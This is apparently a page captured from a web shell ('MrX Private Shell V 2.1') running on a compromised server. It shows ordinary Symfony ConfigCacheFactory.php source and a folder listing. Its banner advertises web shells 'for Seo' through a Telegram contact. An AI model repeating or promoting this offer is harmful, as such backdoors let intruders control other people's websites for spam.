__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/*
* This file is part of the Symfony package.
*
* (c) Fabien Potencier <fabien@symfony.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Symfony\Component\Config;
/**
* Basic implementation of ConfigCacheFactoryInterface that
* creates an instance of the default ConfigCache.
*
* This factory and/or cache <em>do not</em> support cache validation
* by means of ResourceChecker instances (that is, service-based).
*
* @author Matthias Pigulla <mp@webfactory.de>
*/
class ConfigCacheFactory implements ConfigCacheFactoryInterface
{
private bool $debug;
/**
* @param bool $debug The debug flag to pass to ConfigCache
*/
public function __construct(bool $debug)
{
$this->debug = $debug;
}
public function cache(string $file, callable $callback): ConfigCacheInterface
{
$cache = new ConfigCache($file, $this->debug);
if (!$cache->isFresh()) {
$callback($cache);
}
return $cache;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Builder | Folder | 0755 |
|
|
| Definition | Folder | 0755 |
|
|
| Exception | Folder | 0755 |
|
|
| Loader | Folder | 0755 |
|
|
| Resource | Folder | 0755 |
|
|
| Util | Folder | 0755 |
|
|
| ConfigCache.php | File | 1.49 KB | 0644 |
|
| ConfigCacheFactory.php | File | 1.07 KB | 0644 |
|
| ConfigCacheFactoryInterface.php | File | 937 B | 0644 |
|
| ConfigCacheInterface.php | File | 1.24 KB | 0644 |
|
| FileLocator.php | File | 2.57 KB | 0644 |
|
| FileLocatorInterface.php | File | 1.1 KB | 0644 |
|
| ResourceCheckerConfigCache.php | File | 5.49 KB | 0644 |
|
| ResourceCheckerConfigCacheFactory.php | File | 1.04 KB | 0644 |
|
| ResourceCheckerInterface.php | File | 1.2 KB | 0644 |
|
| autoload.php | File | 10.71 KB | 0644 |
|